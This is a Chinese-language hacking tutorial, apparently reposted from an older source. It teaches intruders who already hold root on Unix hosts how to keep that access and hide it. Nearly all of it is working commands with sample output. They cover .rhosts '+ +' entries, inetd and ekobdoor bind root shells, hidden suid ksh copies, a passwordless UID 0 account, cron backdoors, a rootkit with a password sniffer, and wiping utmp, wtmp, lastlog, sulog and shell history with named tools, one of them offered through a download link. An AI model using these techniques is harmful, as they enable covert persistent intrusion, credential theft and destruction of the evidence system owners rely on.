歡迎您光臨本站 註冊首頁

UNIX系統後門的安放和日誌的擦除

←手機掃碼閱讀     火星人 @ 2014-03-12 , reply:0
  UNIX系統後門的安放和日誌的擦除
教程所需軟體:http://us2001.myetang.com/tools/huckit.zip
一.後門的安放

當我們通過某種手段控制一個主機時,為了使自己能再次光顧這台計算機,我們通常在這個機器上留下後門,以便我們再次訪問.一個做得好的後門,即使在入侵被管理員發現后,仍然能讓你再次訪問到主機.

本文的意旨是讓你學會如何在完全控制系統后保留自己的根用戶許可權,下面介紹一下我常用的製作後門的手法,不會也不可能覆蓋到所有可能的方法,請原諒.

1.Rhosts + + 後門

  在連網的Unix機器中,象Rsh和Rlogin這樣的服務是基於rhosts文件里的主機名使用簡單的認證方法. 用戶可以輕易的改變設置而不需口令就能進入. 入侵者只要向可以訪問的某用戶的rhosts文件中輸入"+ +", 就可以允許任何人從任何地方無須口令便能進入這個帳號. 特別當home目錄通過NFS向外共享時, 入侵者更熱中於此. 這些帳號也成了入侵者再次侵入的後門. 許多人更喜歡使用Rsh, 因為它通常缺少日誌能力. 許多管理員經常檢查 "+ +", 所以入侵者實際上多設置來自網上的另一個帳號的主機名和用戶名,從而不易被發現.

例如:

# echo '+ + ' > /usr/bin/.rhosts

# cat /usr/bin/.rhosts

+ +

# rlogin -l bin localhost

將不用輸入密碼直接用bin帳號rlogin登陸進你的機器.

2.Login後門

  在Unix里,login程序通常用來對telnet來的用戶進行口令驗證. 入侵者獲取login.c的原代碼並修改使它在比較輸入口令與存儲口令時先檢查後門口令. 如果用戶敲入後門口令,它將忽視管理員設置的口令讓你長驅直入. 這將允許入侵者進入任何帳號,甚至是root.由於後門口令是在用戶真實登錄並被日誌記錄到utmp和wtmp前產生一個訪問的, 所以入侵者可以登錄獲取shell卻不會暴露該帳號. 管理員注意到這種後門后, 便用"strings"命令搜索login程序以尋找文本信息. 許多情況下後門口令會原形畢露. 入侵者就開始加密或者更好的隱藏口令, 使strings命令失效. 所以更多的管理員是用MD5校驗和檢測這種後門的.

一般的rootkit包里都有login後門程序.

3.服務進程後門

  inetd 進程負責監聽各個TCP和UDP埠的連接請求,並根據連接請求啟動相應的伺服器進程。該配置文件 /etc/inetd.conf 很簡單,基本形式如下:

(1) (2) (3) (4) (5) (6) (7)

shell stream tcp nowait root /usr/sbin/in.rshd in.rshd

login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind

exec stream tcp nowait root /usr/sbin/in.rexecd in.rexecd

comsat dgram udp wait root /usr/sbin/in.comsat in.comsat

talk dgram udp wait root /usr/sbin/in.talkd in.talkd

1:第一欄是服務名稱。服務名通過查詢 /etc/services 文件(供 TCP 和 UDP 服務使用)或 portmap 守護進程(供 RPC 服務使用)映射成埠號。RPC(遠程過程調用)服務由 name/num 的名字格式和第三欄中的 rpc 標誌識別。

2:第二欄決定服務使用的套介面類型:stream、dgram 或 raw。一般說來,stream 用於 TCP 服務,dgram 用於 UDP, raw 的使用很少見。

3:第三欄標識服務使用的通信協議。允許的類型列在 protocols 文件中。協議幾乎總是是 tcp 或 udp。RPC 服務在協議類型前冠以 rpc/。

4:如果所說明的服務一次可處理多個請求(而不是處理一個請求后就退出),那麼第四欄應置成 wait,這樣可以阻止 inetd 持續地派生該守護進程的新拷貝。此選項用於處理大量的小請求的服務。如果 wait 不合適,那麼在本欄中填 nowait。

5:第五欄給出運行守護進程的用戶名。

6:第六欄給出守護進程的全限定路徑名。

7:守護進程的真實名字及其參數。 如果所要處理的工作微不足道(如不需要用戶交互),inetd 守護進程便自己處理。此時第六、七欄只需填上 'internal' 即可。所以,要安裝一個便利的後門,可以選擇一個不常被使用的服務,用可以產生某種後門的守護進程代替原先的守護進程。例如,讓其添加 UID 0 的帳號,或複製一個 suid shell。

當然我們有一個更簡單的方法,

下面的操作bind root shell 1524埠.

# echo 'ingreslock stream tcp nowait root /bin/ksh ksh -i' > /tmp/.x

# /usr/sbin/inetd -s /tmp/.x

# rm -f /tmp/.x

# telnet localhost 1524

Trying 127.0.0.1...

Connected to localhost. Escape character is '^]'.

#

# id

ksh: id^M: not found

# id;

uid=1002(gao) gid=1(other) euid=0(root)

ksh: ^M: not found

# exit;

Connection closed by foreign host.

#

注意,這樣bind的shell在telnet上去后,你要在你想執行的命令後面添加一個" ; "號.即你要執行id命令的輸入應為: id;

當然你也可以把ingreslock換成其他服務.具體請查看/etc/services尋找對應的服務名和埠.

下面為部分/etc/services內容.

# cat /etc/services

#ident "@(#)services 1.20 98/07/08 SMI" /* SVr4.0 1.8 */

#

# Network services, Internet style

#

tcpmux 1/tcp

echo 7/tcp

echo 7/udp

discard 9/tcp sink null

discard 9/udp sink null

systat 11/tcp users

daytime 13/tcp

daytime 13/udp

netstat 15/tcp

chargen 19/tcp ttytst source

chargen 19/udp ttytst source

ftp-data 20/tcp

ftp 21/tcp

telnet 23/tcp

smtp 25/tcp

mail time 37/tcp timserver

time 37/udp timserver

name 42/udp nameserver

whois 43/tcp nicname # usually to sri-nic

domain 53/udp

domain 53/tcp

bootps 67/udp # BOOTP/DHCP server

bootpc 68/udp # BOOTP/DHCP client

...

...

4.port bind suid Shell 後門

  入侵者可能在任意埠bind suid Shell後門. 許多情況下,他們用口令進行保護以免管理員連接上后立即看到是shell訪問. 管理員可以用netstat命令查看當前的連接狀態, 那些埠在偵聽, 目前連接的來龍去脈.

  我提供的壓縮包door.zip里有一個ekobackdoor-v1.1.tar,為linux下的bindshell程序包.大家可以自己編譯一下.

  方法為,

修改ekobdoor.c

查找

#define PASSWORD "ekorulez"

把"ekorulez" 改成你要的密碼.

比如

#define PASSWORD "cnhonker"

把ekobackdoor-v1.1.tar解壓然後make

就可以了.

具體使用方法為:

# ./ekobdoor [opcion] [argumento]

下面為不用輸入密碼的

# ./ekobdoor -b 31337

c:\ telnet 200.45.0.115 31337

Trying 200.45.0.115...

Connected to 200.45.0.115.

Escape character is '^]'.

#

下面為需要輸入密碼的.

# ./ekobdoor -s 31337

 

c:\ telnet 200.45.0.115 31337

Trying 200.45.0.115...

Connected to 200.45.0.115.

Escape character is '^]'.

cnhonker --->輸入密碼.

#

這裡的31337你可以改成你想要的埠.

當然它還有更多其他功能.具體你用 -h 查看

#./ekobdoor -h

5.suid shell

  在 /tmp 或者其他的目錄下放置 suid shell。以後只要你運行這個程序,就會輕易得到根用戶許可權。

#cp /bin/ksh /tmp/.sh

#chown root:root /tmp/.sh

#chmod +s /tmp/.sh

當你運行/tmp/.sh時,

這裡我們用ksh shell是因為ksh 可以suid.換成其他的shell也許可能不行,具體看各個主機的情況而定.一般我們使用ksh.我們使用的溢出程序用來獲得root許可權的,也一般是溢出后執行/bin/ksh.

$id

uid=1002(oracle) gid=1(other)

$/tmp/.sh

#

#id

uid=1002(oracle) gid=1(other) euid=0(root) egid=0(root)

我們又是root了.

當然,為了更加隱蔽,我們不能把suid shell 放在/tmp

因為它是很容易被發現的.

我們應該放在深層的目錄裡面.

比如: 

/usr/X11/include/X11/

或者

/usr/lib/

等等

通常我做的是:

# mkdir /usr/lib/lib/ mkdir /usr/lib/lib/...

# cp /bin/ksh /usr/lib/lib/.../lib

# chown root:sys /usr/lib/lib/.../lib

# chmod 4555 /usr/lib/lib/.../lib

# touch -r /bin/ksh /usr/lib/lib/.../lib

一個簡單的suid shell安放好了.

不過,大家不要學我,我們要放在最隱蔽的地方.我新建目錄的隱藏效果不是最好的.

我們必須利用現有的目錄來安放,並且這個目錄要有很多其它的文件做掩護.

大家不防試試/usr/man/下的目錄.

很少管理員會檢查這裡的.

比如:

/usr/man/man1/

/usr/man/manl/

等.

比如:

# cp /bin/ksh /usr/man/man1/ja.1

:)當然具體要看你自己琢磨一下了.我敢說不難,最好多放置幾個suid shell 在不同的目錄.這樣即使管理員發現了一個,也還有另外一個.:)

6.su 後門

  在流行的rootkit包里,一般都有su 後門程序,當你在目標機器上安裝了以後,只要你有普通用戶的訪問許可權,就可以用su的後門密碼su成你想要的用戶.:)

例如在裝過su後門的機器上運行:

$id

uid=1002(oracle) gid=1(other)

$su root

passwd:cnhonker ->su後門密碼.

#

#id

uid=0(root) gid=0(root)

成功su成root.而不管root的密碼為什麼密碼.

另外還有一種是su 木馬,用來騙取su 密碼的.這裡不在詳述.

7.修改密碼文件

  最簡單的方法,就是在口令文件 passwd 中增加一個 UID 為 0 的帳號。

下面的操作增加一個不用密碼的www用戶,uid gid 都為0,還有最好先備份一下密碼文件.

#cp /etc/passwd /tmp/passwd

#cp /etc/shadow /tmp/shadow

#echo 'www:x:0:0::/:/bin/sh' >> /etc/passwd

#echo 'www::::::::' >> /etc/shadow

# id uid=1002(gao) gid=1(other) euid=0(root) egid=0(root)

# su www

# id

uid=0(root) gid=0(root)

可以看到,su成www時將不用輸入密碼,同樣,telnet 等也不用出示密碼.

但這種方法很容易被發現,通常我們編輯密碼文件修改裡面沒有使用的默認帳號.

8.Crontab 後門

根用戶的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下:

(1) (2) (3) (4) (5) (6)

0 0 * * 3 /usr/bin/updatedb

以上內容設置/usr/bin/updatedb程序於每星期三 0:0 運行。

其中:

1. 分鐘 (0-60)

2. 小時 (0-23)

3. 日 (1-31)

4. 月 (1-12)

5. 星期 (1-7)

6. 所要運行的程序

我們只需在 /var/spool/crontab/root 中添加我們的後門程序即可。

比如運行一個產生一個高位port的bind root shell的程序.或者替換服務進程的程序.

9.rootkit後門包

這也是最常用有效實用的方法.

這裡我提供一個我修改過的編譯好的sun os sparc下的rootkit包,在HUCkit.zip里的sun.tar

使用方法為:

在取得sun os sparc 的root許可權后

#tar -xf sun.tar

#cd sun

#./setup cnhonker

就可以了.

其中,

cnhonker為你要設的rootkit密碼.

如果你只運行./setup

那麼程序會隨機為你生成一個密碼.請記住它.它可是你的通行證哦.

還有我取消了login後門的安裝,因為它很容易暴露自己.並且很容易出錯.

還有,完全裝好后,不要忘了去/dev/prom

用cat查看每一個文件哦.

:)

哪裡是嗅探器存放結果的地方.包括 mail ftp telnet rlogin su 等等.

# cat /dev/prom/sn.l

為mail ftp telnet rlogin等的記錄

# cat /dev/prom/sulog

為su的密碼記錄.沒有必要花時間去破解shadow文件哦.:)

其它的rootkit包大家引擎搜索一下就可以找到很多.這裡不再提供.

二.日誌的清除

由於涉及的系統廣泛的問題,不可能將所有unix類系統的日誌說清楚,但它們大多是差不多的,下面我只用常見的sunos & redhat做介紹.其它的系統請查看相關資料.

unix系統日誌文件通常是存放在"/var/log and /var/adm"目錄下的。通常我們可以查看syslog.conf來看看日誌配置的情況.如:cat /etc/syslog.conf

其中sunos的在/var/log 和 /var/adm下.還有/usr/adm為/var/adm的的鏈接.

redhat的在/var/log 和 /var/run下.

下面的是sun os5.7中的日誌樣本.

# ls /var/adm

acct    log      messages.1    passwd    sulog   vold.log

aculog   messages   messages.2    sa      utmp    wtmp

lastlog   messages.0  messages.3    spellhist   utmpx   wtmpx

 

# ls /var/log

authlog      syslog    syslog.1   syslog.3

sysidconfig.log  syslog.0   syslog.2   syslog.4

下面的是redhat6.2中的日誌樣本.

# ls /var/log

boot.log   dmesg       messages.2    secure     uucp

boot.log.1  htmlaccess.log  messages.3    secure.1    wtmp

boot.log.2  httpd       messages.4    secure.2    wtmp.1

boot.log.3  lastlog      netconf.log   secure.3    xferlog

boot.log.4  mailllog      netconf.log.1  secure.4    xferlog.1

cron     maillog      netconf.log.2  sendmail.st   xferlog.2

cron.1    maillog.1     netconf.log.3  spooler     xferlog.3

cron.2    maillog.2     netconf.log.4  spooler.1    xferlog.4

cron.3    maillog.3     news       spooler.2

cron.4    maillog.4     normal.log    spooler.3

daily.log   messages     realtime.log   spooler.4

daily.sh   messages.1     samba       transfer.log

# ls /var/run

atd.pid    gpm.pid    klogd.pid   random-seed    treemenu.cache

crond.pid   identd.pid   netreport   runlevel.dir   utmp

ftp.pids-all inetd.pid   news      syslogd.pid

一般我們要清除的日誌有

lastlog

utmp(utmpx)

wtmp(wtmpx)

messages

syslog

sulog

此外,各種shell還會記錄用戶使用的命令歷史,它使用用戶主目錄下的文件來記錄這些命令歷史,通常這個文件的名字為.sh_history(ksh),.history(csh),或.bash_history(bash)等。

 

一般把以上說的日誌給擦一下,就可以了.:)

下面我來說說上面這些我們要清除的日誌的相關資料和清除方法.更詳細的資料和其他的日誌請你查看相關資料.

首先我們說說這幾種日誌的功能.->它記錄的是什麼?

lastlog

lastlog記錄每個用戶的最近一次的登陸時間和每個用戶的最初目的地.

當一個用戶登陸到unix系統時,註冊程序在lastlog文件中查找該用戶的uid ,如果該程序找到了該用戶的uid,unix就會顯示最後一次登陸的時間和TTY(終端號)

下面是一個例子:

SunOS 5.7

login: gao

Password:

No directory! Logging in with home=/

Last login: Sun Feb 4 22:18:25 from 211.167.1.24

Sun Microsys tems Inc. SunOS 5.7 Generic October 1998 $

.然後註冊程序用新的登陸時間和TTY信息更新lastlog文件,而且該程序帶更新utmp wtmp.文件.

utmp

utmp 日誌記錄以前登陸到系統中的所有用戶.這個文件隨著用進入和離開系統而不斷的變化.它還會為系統中的用戶保持很長的歷史記錄,utmp日誌通常存儲在/etc/utmp,可以使用w 和who 命令查看utmp.但其他的一些命令也可以訪問這個文件.:)比如finger users.現在的utmp一般都有一個utmpx文件做為日誌記錄的補充.別忘了擦這個pp哦.:)

wtmp

wtmp文件記錄用戶登陸和退出事件,它和utmp類似.但它隨著登陸的次數的增加它會變得越來越大.有些系統的ftp訪問也在這個文件里記錄.同時它也記錄正常的系統退出時間.可以使用last和ac命令訪問它.

syslog & messages

通過查看/etc/syslog.conf我們可以知道syslog記錄些什麼.:)

很多各種各樣的程序產生的日誌都由它記錄.

同時它還有一個syslogd進程為它服務.

在預設時,它把大多的信息傳給/var/adm/messages

sulog

sulog為切換用戶命令su的使用記錄日誌.

他通常在/var/adm/sulog

如果你在機器上用過su命令,別忘了清除掉哦.:)

shell記錄

.sh_history(ksh),.history(csh),或.bash_history(bash)等,是shell執行時的歷史記錄.記錄用戶執行的命令.它一般存在於用戶的主目錄.別忘了去根目錄看看哦.我入侵機器時,也經常能發現別人的hacking記錄哦.:)所以你一定要記得清除.

1.日誌都是一些文本形式的文件.最笨的方法是用文本編輯器來編輯日誌文件.刪除相關的記錄.來達到擦拭腳印和隱藏自己的效果.

比如用vi等

但這樣做是很笨的.太麻煩,工作量太大.

如果有50台機器要你處理,那麼,呵呵....看你忙到什麼時候

:)

2.以前我剛開始學unix時.經常用rm -f 來刪掉日誌.比如rm -f /usr/adm/lastlog

呵呵 

這樣做是很蠢的.

更容易被管理員發現有人入侵.但是,相對來說自己還是保護好了.:)

可以用在一些不太重要的機器上.

3.用 > 定向符清除.

比如:

#cat > /usr/log/lastlog

  ->這裡輸入你要的寫的東西.最好偽裝得像一些,也可以不輸入哦.:)

^d ->這裡的^d是按鍵 ctrl + d.

#

如果上戰場沒有帶日誌清除工具,我一般也用這個清除的.:)省事

要不找幾箇舊的日誌覆蓋它:)

==========================================================

4.當然最好的是用日誌清除工具.

輸入幾個命令讓程序幫你擦:)

a.常見的日誌清除工具.

 一般的rootkit包里有的:z2.c 和wted.c

很容易找到.

網上的教程很多都是介紹這兩個工具的使用的.

這裡我就不再論述了.:)節省時間.

b.這裡我提供一個我以前有段時間常用的日誌清除腳本.

在HUCkit.zip里的 cleaner.sh

我們這樣使用它

# chmod 755 cleaner.sh

# ./cleaner.sh

Log cleaner v0.5b By: Tragedy/Dor *

* Usage: cleaner.sh

# ./cleaner.sh username

其中,username 為你要清除日誌的的用戶帳號.

:)

比如:

#./cleaner.sh gao

Log cleaner v0.5b By: Tragedy/Dor OS

detection....

Detected SunOS

---<[ Log cleaning in process....

* Cleaning aculog ( 0 lines)...0 lines removed!

* Cleaning lastlog ( 19789 lines)...45 lines removed!

* Cleaning messages ( 12 lines)...1 lines removed!

* Cleaning messages.0 ( 12 lines)...0 lines removed!

* Cleaning messages.1 ( 28 lines)...0 lines removed!

* Cleaning messages.2 ( 38 lines)...0 lines removed!

* Cleaning messages.3 ( 17 lines)...0 lines removed!

* Cleaning spellhist ( 0 lines)...0 lines removed!

* Cleaning sulog ( 986 lines)...6 lines removed!

* Cleaning utmp ( 179 lines)...1 lines removed!

* Cleaning utmpx ( 387 lines)...1 lines removed!

* Cleaning vold.log ( 0 lines)...0 lines removed!

* Cleaning wtmp ( 299 lines)...0 lines removed!

* Cleaning wtmpx ( 565 lines)...0 lines removed!

* Cleaning authlog ( 0 lines)...0 lines removed!

* Cleaning syslog ( 53 lines)...0 lines removed!

* Cleaning syslog.0 ( 14 lines)...0 lines removed!

* Cleaning syslog.1 ( 64 lines)...0 lines removed!

* Cleaning syslog.2 ( 39 lines)...0 lines removed!

* Cleaning syslog.3 ( 5 lines)...0 lines removed!

* Cleaning syslog.4 ( 3 lines)...0 lines removed!

* Cleaning syslog.5 ( 210 lines)...0 lines removed!

#

這個用/bin/sh的腳本有一個問題,

就是必須你要有uid =0 的許可權.即root.

euid = 0 會不能正常工作,報告許可權不夠.

解決方法是:

大家可以改裡面的#!/usr/sh 為你設置好的suid shell.:)

這個腳本有一個好處,就是不用編譯,並且可以在多個系統下面工作.如redhat sunos等等.

還可以用

cat > clog.sh

來方便的拷貝到主機.不用ftp 去取.:)

還有一個命令可以清除大部分的日誌.

這也是我常用它的原因.

但它做的太乾淨了,把以前的記錄也刪除了.:(

有時候也會不太乾淨.比如lastlog.utmp可能有時會清除不了.

所以,現在我一般結合兩個工具來清除日誌.

好的一般放在後面介紹.:)

下面介紹一個我覺得比較好的另一個日誌清除器.:)

在HUCkit.zip里的wipe-1.00.tgz.

他完全可以清除

lastlog

utmp

utmpx

wtmp

wtmpx

:)

下面我們來看看.(示範工作平台sunos 5.7)

# gzip -d wipe-1.00.tgz

# tar -xf wipe-1.00.tar

# cd wipe-1.00

# ls -al

總數32

drwxr-xr-x  2  root  root     512   2月 4 20:48   .

drwxrwxrwx  6  root  other    1024   2月 4 18:40   ..

-rw-r--r--  1  root  root     130   1997 1月 9   INSTALL

-rw-r--r--  1  root  staff    1389   1997 1月 9   Makefile

-rw-r--r--  1  root  root     498   1997 1月 9   README

-rw-r--r--  1  root  staff   10027   1997 1月 9   wipe.c

# make

Wipe v0.01 !

Usage: 'make ' where sys tem types are:

  linux freebsd sunos4 solaris2 ultrix

  aix irix digital bsdi netbsd hpux

#

我們可以看到它需要出示 系統的選項.這些選項是:

  linux freebsd sunos4 solaris2 ultrix

  aix irix digital bsdi netbsd hpux

我們要清除相關的系統日誌就必須在相同的系統下編譯.

比如我們要在redhat等linux下編譯,就應為: make linux

在freebsd下編譯就應為:make freebsd

在sunos 4下編譯,就應為: make sunos4

在sunos 5以上的系統里編譯,就應為:make solaris2

這裡我們用make solaris2

sunos 5 以上就叫做solaris了.

# make solaris2

gcc -O3 -DHAVE_LASTLOG_H -DHAVE_UTMPX -o wipe wipe.c

# ls -al

總數94

drwxr-xr-x  2  root  root   512   2月 4 21:03   .

drwxrwxrwx  6  root  other  1024   2月 4 18:40   ..

-rw-r--r--  1  root  root   130   1997 1月 9   INSTALL

-rw-r--r--  1  root  staff  1389   1997 1月 9   Makefile

-rw-r--r--  1  root  root    498   1997 1月 9   README

-rwxr-xr-x  1  root  other  30920   2月 4 21:03  wipe

-rw-r--r--  1  root  staff  10027   1997 1月 9   wipe.c

#./wipe

USAGE: wipe [ uwla ] ...options...

UTMP editing: Erase all usernames : wipe u [username]

  Erase one username on tty: wipe u [username] [tty]

WTMP editing: Erase last entry for user : wipe w [username]

  Erase last entry on tty : wipe w [username] [tty] LASTLOG

editing: Blank lastlog for user : wipe l [username] Alter lastlog

  entry : wipe l [username] [tty] [time] [host]

  Where [time] is in the format [YYMMddhhmm]

ACCT editing: Erase acct entries on tty : wipe a [username] [tty]

大家可以看到編譯好的wipe的使用方法.

其中 u 選項為 utmp utmpx 日誌擦除..

w 選項為 wtmp wtmpx 日誌擦除.

l 選項為 lastlog 日誌擦除.

a 為/var/adm/pacct日誌擦除.(一般不用這個.:)

其中[tty]為終端號.為在有多個相同帳號同時登陸時,清除日誌的使用選項.當然是要你的終端號哦.:)

大家可以用 w 命令查終端號.

比如:

# w

下午 9:15 1 user, 平均負荷: 0.00, 0.00, 0.01

用戶名   終端號   登入時間   閑置   JCPU   PCPU   執行命令

gao    pts/1   下午 7:40        3          w

下面的是我在sunos 5.7上的具體的使用情況.:)

# w

下午 9:15 1 user, 平均負荷: 0.00, 0.00, 0.01

用戶名   終端號   登入時間   閑置   JCPU   PCPU   執行命令

gao    pts/1   下午 7:40        3          w

# ./wipe u gao

Patching /var/adm/utmp .... Done.

Patching /var/adm/utmpx .... Done.

# w

下午 9:15 1 user, 平均負荷: 0.00, 0.00, 0.01

用戶名   終端號   登入時間   閑置   JCPU   PCPU   執行命令

# ./wipe w gao

Patching /var/adm/wtmp .... Done.

Patching /var/adm/wtmpx .... Done.

# ./wipe l gao

Patching /var/adm/lastlog .... Done.

好了.

lastlog utmp utmpx wtmp wtmpx 擦完了.

大家看到 wipe u gao 了嗎?

為什麼我打了個w命令呢?

呵呵

想想.

所以我們一般在登陸進系統后就運行 wipe u gao.來隱藏自己.:)

當然我們不要忘了shell 記錄哦.

# ls -al /.*history

-rw------- 1 root other 456 2月 4 20:27 .sh_history

# rm -f .*history

# cd

# pwd

/home/gao

# ls -al /.*history

-rw------- 1 root other 456 2月 4 20:27 .sh_history

# rm -f .*history

ok, 一個腳本加一個程序.再加一個操作,能保證你基本安全了.:)

當然如果你對系統有進一步了解,就能發現.這樣清除還是有問題的.:)


[火星人 ] UNIX系統後門的安放和日誌的擦除已經有711次圍觀

http://coctec.com/docs/security/show-post-72734.html